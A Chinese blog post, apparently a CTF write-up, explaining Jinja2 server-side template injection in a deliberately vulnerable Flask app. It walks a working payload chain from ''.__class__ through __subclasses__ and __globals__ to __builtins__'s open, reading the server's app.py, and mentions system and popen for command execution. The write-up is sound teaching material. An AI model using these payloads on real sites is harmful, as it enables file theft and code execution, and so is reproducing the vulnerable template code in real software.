Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

ssti漏洞及其原理分析

ssti(模板注入)

ssti漏洞其根本原因是其实是其渲染模板语法和编写语法之间存在差异,而最常见的就是python中的jinja2模板引擎

这里就是中海的一道很简单的ssti的题目,这里就利用这个来回顾一下整个ssti的漏洞成因和利用

这里先引用一下一段很简单的flask环境代码,而flask的模板引擎正好就是我们jinja2模板引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

这里我们渲染了一段html语言的环境,而由于渲染引擎和编写语言的差异,从而导致了这里存在了可能注入的机会

241

而在python中我们可以对name进行随意赋值,当我们对name赋值成执行语句时,就会造成了模板注入漏洞

理解了漏洞的来由后,我们就需要思考如何利用这个漏洞进行命令执行

进行命令执行我们无疑就是需要去调用方法,而方法一般定义在类中,这样我们就有了一定的思路,就是我们需要去调用到我们需要的类,从而实现我们对于方法的调用

那么我们需要的类去哪里找呢,一个很简单的方法就是从父类下所有的子类中去找,那么这里我们就利用沙盒进行测试

242

1
''.__class__

这里我们先定义一个字符串,然后去找到字符串的所处的类

243

1
''.__class__.__base__

然后我们就去找这个类的父类,一般大部分的子类都存放在这个父类之中

244

1
''.__class__.__base__.__subclasses__()

这样我们就通过__subclasses__()去查找父类下的所有类,__subclasses__是一个内置方法,所有这里需要加上()

ok,到这里我们就需要知道一下常见的可以利用点,比如os._wrap_close warnings.catch_warnings

warnings.catch_warnings

一个控制警告信息的库,其一般性都有执行语句可以进行调用

os._wrap_close

调用os模块,提供方法系统服务的功能

由于''.__class__.__base__.__subclasses__()这里返回的是一个列表,我们需要用过索引去访问,就简单写个遍历脚本就行,这里懒得贴了

当我们调用到所需要的子类之后,需要对子类进行初始化,创建实例才能进行使用

245

1
''.__class__.__base__.__subclasses__()[132].__init__

246

这里会返回一个对象,这里我们就利用__globals__把里面所有的变量通过字典表示出来

1
''.__class__.__base__.__subclasses__()[132].__init__.__globals__

247

在这里我们就可调用里面我们所需要的方法,而这里就是需要知道一些命令执行的方法,比如system popen,同时也可以通过开文件的方法来进行open file,这里可以调用的方法就比较多了

这里对于方法的调用也很简单,就是通过字典的方法进行读取,只要找到字典的键值对即可

248

调用后我们就可以利用方法进行命令执行和读取了

ok然后我们回到这道题目上面来

给了一个python工具,附件里有他的框架,可以判断出来应该是一道ssti

前面常规的我就不过多说明

找一下我们可以利用到的那几个类

1
().__class__.__base__.__subclasses__()

249

这里就利用**’warnings.catch_warnings**

250

找到需要的索引

1
().__class__.__base__.__subclasses__()[221]

521

ok,我们就初始化这个类,创建实例,然后导入到字典里

1
().__class__.__base__.__subclasses__()[221].__init__.__globals__

522

找不到popen,这里我们就用文件打开,去看他的配置文件app.py

找到open所在的键值对

1
().__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__']

523

发现open可以直接调用了,我们就直接打开文件

1
().__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__']['open'](qpp.py)

524

发现返回的是字节流,这里我们就用**.read()**读取字节流里面的数据

1
().__class__.__base__.__subclasses__()[221].__init__.__globals__['__builtins__']['open']('app.py').read()

525

评论